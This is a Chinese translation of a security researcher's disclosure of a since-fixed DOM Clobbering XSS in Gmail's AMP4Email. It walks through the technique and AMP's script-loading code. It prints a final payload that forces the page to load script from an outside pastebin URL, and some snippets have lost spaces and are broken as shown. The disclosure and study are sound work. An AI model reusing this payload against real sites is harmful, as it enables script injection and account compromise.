专栏首页madMen通过 DOM Clobbering 发现 GMail AMP4Email 的 XSS 漏洞

通过 DOM Clobbering 发现 GMail AMP4Email 的 XSS 漏洞

原文:https://research.securitum.com/xss-in-amp4email-dom-clobbering/

译者:https://github.com/neal1991

这篇文章是我在2019年8月通过 Google 漏洞奖励计划报告的 AMP4Email 中已经修复的 XSS 的文章。该 XSS 是对著名浏览器问题 DOM Clobbering 的真实利用案例。

什么是 AMP4Email

AMP4Email(也称为动态邮件)是 Gmail 的一项新功能,可以让电子邮件包含动态 HTML 内容。尽管撰写包含 HTML 标签的电子邮件已经很多年了,但通常认为 HTML 仅包含静态内容,即某种格式,图像等,没有任何脚本或表单。AMP4Email 打算更进一步,允许电子邮件中包含动态内容。在 Google 官方 G Suite 官方博客中的帖子中,对动态邮件的使用案例进行了很好的总结

通过动态邮件,你可以轻松地直接从消息本身直接操作,例如对事件进行快速回复,填写问卷,浏览目录或回复评论。 以在 Google 文档中进行评论为例。现在,你将不再在有人在评论中提及你时接收到单独的电子邮件通知,而是会在 Gmail 中看到最新的主题,你可以在邮件中直接从中轻松回复或解决评论。

该功能引发了一些明显的安全性问题。最重要的一个可能是:跨站点脚本(XSS)?如果我们允许电子邮件中包含动态内容,是否意味着我们可以轻松地注入任意 JavaScript 代码?好吧,答案是否定的;没那么容易。

AMP4Email 具有强验证器,简而言之,它是允许在动态邮件中使用的标签和属性的强大白名单。你可以在 https://amp.gmail.dev/playground/ 上尝试,你还可以给自己发送动态电子邮件来研究工作原理!

图1. AMP4Email playground

如果你尝试添加验证器未明确允许的任何 HTML 元素或属性,则会收到错误消息。

图2. AMP 验证器禁止使用任意脚本标签

在使用 AMP4Email 并尝试各种方法绕过它时,我注意到标签中不允许 id 属性(图3)。

图3.不允许使用属性 id

这看起来像是开始安全分析的好地方,因为创建具有用户控制的id属性的HTML元素可能会导致 DOM Clobbering。

DOM Clobbering

DOM Clobbering 是 web 浏览器的遗留功能,给许多应用程序带来麻烦。基本上,当你在 HTML 中创建一个元素(例如 <inputid=username>),然后希望从 JavaScript 引用该元素时,通常会使用 document.getElementById('username') 或者 document.querySelector('#username') 之类的函数。但这不是唯一的方法!

传统的方法是仅通过全局 window 对象的属性来访问它。因此,在这种情况下, window.usernamedocument.getElementById('username') 完全相同!如果应用程序基于某些全局变量的存在做出决定(例如, if(window.isAdmin){...}),则此行为(称为 DOM Cloberring)可能导致有趣的漏洞。

为了进一步分析 DOM Clobbering,假设我们有以下 JavaScript 代码:

if(window.test1.test2) {eval(''+window.test1.test2)}

我们的工作是通过仅使用 DOM Cloberring 技术执行任意 JS 代码。要完成这个任务,我们需要找到两个问题的解决方案

  1. 我们知道可以在 window 上创建新属性,但是可以在其他对象上创建新属性(比如 test1.test2)吗?
  2. 我们可以控制 DOM 元素如何转换为字符串吗?大多数 HTML 元素在转换为字符串时,返回的内容类似于 [objectHTMLInputElement]

让我们从第一个问题开始。最常被引用的解决方法是使用 <form> 标签。标签 <form> 的每个子元素 <input> 都被添加为 <form> 的属性,该属性的名称和 <input>name 属性相同。考虑以下示例:

<form id=test1><input name=test2></form><script>  alert(test1.test2); // alerts "[object HTMLInputElement]"</script>

为了解决第二个问题,我创建了一个简短的 JS 代码,该代码对 HTML 中所有可能的元素进行了迭代,并检查它们的 toString 方法是否继承自 Object.prototype 还是以其他方式定义的。如果它们不继承自 Object.prototype,则可能会返回除 [objectSomeElement] 外的其他内容。

代码如下:

Object.getOwnPropertyNames(window).filter(p => p.match(/Element$/)).map(p => window[p]).filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

该代码返回两个元素:HTMLAreaElement<area>)和 HTMLAnchorElement<a>)。AMP4Email 中不允许使用第一个,因此仅关注第二个。如果是 <a> 元素,则 toString 仅返回 href 属性的值。考虑示例:

<a id=test1 href=https://securitum.com><script>  alert(test1); // alerts "https://securitum.com"</script>

在这一点上,似乎我们想解决最初的问题(比如通过 DOM Clobbering 获取 window.test1.test2 的值),我们需要类似于以下代码:

<form id=test1><a name=test2 href="x:alert(1)"></a></form>

问题在于它根本不起作用;test1.test2 将会是 undefined。尽管 <input> 元素确实成为了 <form> 的属性,但 <a> 没有发生变化。

这个问题有一个有趣的解决方法,不过仅仅适用于基于 WebKit 以及 Blink 内核的浏览器。假设我们有两个具有相同 id 的元素:

<a id=test1>click!</a><a id=test1>click2!</a>

那么访问 window.test1 时我们将得到什么?我直觉上希望得到具有该 id 的第一个元素(当你尝试调用 document.getElementById('#test1') 时会发生这种情况。但是,在 Chromium 中,我们实际上得到了一个 HTMLCollection

图4. window.test1 指向 HTMLCollection

这里特别有趣的是(可以在图4中看到),我们可以通过索引(示例中的0和1)以及通过 id 访问该 HTMLCollection 中的特定元素。这意味着 window.test1.test1 实际上是指第一个元素。事实证明,设置 name 属性也会在 HTMLCollection 中创建新属性。所以现在我们有以下代码:

<aid=test1>click!</a><aid=test1name=test2>click2!</a>

我们可以通过 window.test1.test2 访问第二个锚元素。

图5. 我们可以定义 window.test1.test2

因此,回到通过 DOM Clobbering 利用 eval(''+window.test1.test2) 的原始练习,解决方案是:

<aid="test1"></a><aid="test1"name="test2"href="x:alert(1)"></a>

现在让我们回到 AMP4Email,看看如何在实际情况下如何利用 DOM Clobbering。

在 AMP4Email 利用 DOM Clobbering

我已经提到过,通过向元素添加我自己的 id 属性,AMP4Email 可能容易受到 DOM Clobbering 的攻击。为了找到可利用的条件,我决定看一下 window 的属性(图6)。立即引起注意的是开头的 AMP。

图6. window 全局对象的属性

在这一点上,事实证明 AMP4Email 实际上对 DOM Clobbering 采取了某种保护措施,因为它严格禁止 id 属性的某些值,例如:AMP(图7)。

图7. AMP 是 AMP4Email 中的 id 的无效值

但是,AMP_MODE并没有发生相同的限制。所以我准备了一个代码 <aid=AMP_MODE> 看看会发生什么……

…然后我注意到控制台中有一个非常有趣的错误(图8)。

图8. 加载某些JS文件的 404 错误

如图8 所示,AMP4Email 尝试加载某些JS文件,但由于 404 而未能加载。但是,特别引人注目的是,URL中间存在 undefined

(https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js)。我能够想出的唯一一个合理的解释:AMP 尝试获取 AMP_MODE 的属性以将其放入URL。由于 DOM Clobbering,缺少了预期的属性,因此是 undefined。包含代码的代码如下所示:

f.preloadExtension = function(a, b) {"amp-embed"== a && (a = "amp-ad");var c = fn(this, a, !1);if(c.loaded || c.error)var d = !1;elsevoid0=== c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="'+ a + '"]'),                c.scriptPresent = !!d),                d = !c.scriptPresent;if(d) {                d = b;                b = this.win.document.createElement("script");                b.async = !0;                yb(a, "_") ? d = "": b.setAttribute(0<= dn.indexOf(a) ? "custom-template": "custom-element", a);                b.setAttribute("data-script", a);                b.setAttribute("i-amphtml-inserted", "");var e = this.win.location;                t().test && this.win.testLocation && (e = this.win.testLocation);if(t().localDev) {var g = e.protocol + "//"+ e.host;"about:"== e.protocol && (g = "");                    e = g + "/dist"} else                    e = hd.cdn;                g = t().rtvVersion;null== d && (d = "0.1");                d = d ? "-"+ d : "";var h = t().singlePassType ? t().singlePassType + "/": "";                b.src = e + "/rtv/"+ g + "/"+ h + "v0/"+ a + d + ".js";this.win.document.head.appendChild(b);                c.scriptPresent = !0}return gn(c)}

尽管阅读起来不是特别困难,但下面是手动去混淆的代码(为了更清晰,省略了某些部分):

var script = window.document.createElement("script");script.async = false;
var loc;if(AMP_MODE.test && window.testLocation) {    loc = window.testLocation} else{    loc = window.location;}
if(AMP_MODE.localDev) {    loc = loc.protocol + "//"+ loc.host + "/dist"} else{    loc = "https://cdn.ampproject.org";}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/": "";b.src = loc + "/rtv/"+ AMP_MODE.rtvVersion; + "/"+ singlePass + "v0/"+ pluginName + ".js";
document.head.appendChild(b);

因此,在第1行中,代码创建了一个新的 script 元素。然后,检查 AMP_MODE.testwindow.testLocation 是否存在。如果是这样,并且 AMP_MODE.localDev 为真(第11行),则将 window.testLocation 作为生成脚本URL的基础。然后,在第17和18行中,将其他一些属性连接起来以形成完整的URL。虽然乍一看可能并不明显,但是由于代码的编写方式以及 DOM Clobbering,我们实际上可以控制完整的URL。让我们假设 AMP_MODE.localDevAMP_MODE.test 为真,代码会进一步简化:

var script = window.document.createElement("script");script.async = false;
b.src = window.testLocation.protocol + "//"+        window.testLocation.host + "/dist/rtv/"+        AMP_MODE.rtvVersion; + "/"+(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/": "") +"v0/"+ pluginName + ".js";
document.head.appendChild(b);

`

你还记得我们之前通过 DOM Clobbering 重载 window.test1.test2 的练习吗?现在我们需要做同样的事情,只要重载 window.testLocation.protocol。因此,最终的有效载荷:

<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy--><aid="AMP_MODE"></a><aid="AMP_MODE"name="localDev"></a><aid="AMP_MODE"name="test"></a>
<!-- window.testLocation.protocol is a base for the URL --><aid="testLocation"></a><aid="testLocation"name="protocol" href="https://pastebin.com/raw/0tn8z0rG#"></a>

实际上,由于在 AMP 中部署了 Content-Security-Policy,因此代码在实际情况下无法执行:

Content-Security-Policy: default-src 'none';script-src 'sha512-oQwIl...=='   https://cdn.ampproject.org/rtv/  https://cdn.ampproject.org/v0.js  https://cdn.ampproject.org/v0/

我没有找到绕过 CSP 的方法,但是在尝试绕过 CSP 时,我发现了一种绕过基于目录的 CSP的 有趣方法,并且我在推特上发表了 (后来发现在 2016年CTF中已经使用了相同的技巧)。Google在其漏洞赏金计划中,实际上并不期望绕过 CSP 但依然支付全部赏金。这仍然是一个有趣的挑战。也许其他人会找到绕过的方法?

本文分享自微信公众号 - madMen(mad_coder)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-20

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • RESTful 架构基础

    译自 | dzone.com/refcardz/rest-foundations-restful

    用户1516716
  • 计算机技术|我的第一个Flask程序

    Flask是目前十分流行的web框架,采用Python编程语言来实现相关功能。它被称为微框架(microframework),“微”并不是意味着把整个Web应用...

    算法与编程之美
  • PHP设计模式之访问者模式

    访问者,就像我们去别人家访问,或者别人来我们家看望我们一样。我们每个人都像是一个实体,而来访的人都会一一的和我们打招呼。毕竟,我们中华民族是非常讲究礼数和好客的...

    硬核项目经理
  • php跨域的几种方式

    利用html里面script标签可以加载其他域下的js这一特性,使用script src的形式来获取其他域下的数据,但是,因为是通过标签引入的,所以,会将请求到...

    叫我可儿呀
  • 如何判断微信小程序的开发成本

      智能化的时代中,微信占据越来越多的流量,随着微信小程序的改变,越来越多的人选择开发微信小程序。但是屠呦呦很多人对小程序的开发感到疑惑,从前端来看,微信小程序...

    金优外卖
  • Xcode URLSession -- [61: Connection refused]

    nw_socket_handle_socket_event C1:2 Socket SO_ERROR 61: Connection refused

    HaythamXu
  • 带你认识 flask web 表单

    我将使用Flask-WTF插件来处理本应用中的Web表单,它对WTForms进行了浅层次的封装以便和Flask完美结合。这是本应用引入的第一个Flask插件,但...

    公众号---志学Python
  • php如何做接口

    一个类可以一次性实现多个接口。语法用implements实现,然后在把接口的功能实现;

    叫我可儿呀
  • 织梦后台登录之后出现白板问题

    目录下面:/include/userlogin.class.php 打开文件并搜索@session_register

    华创信息技术
  • PHP设计模式之状态模式

    状态模式从字面上其实并不是很好理解。这里的状态是什么意思呢?保存状态?那不就是备忘录模式了。其实,这里的状态是类的状态,通过改变类的某个状态,让这个类感觉像是换...

    硬核项目经理

扫码关注云+社区

领取腾讯云代金券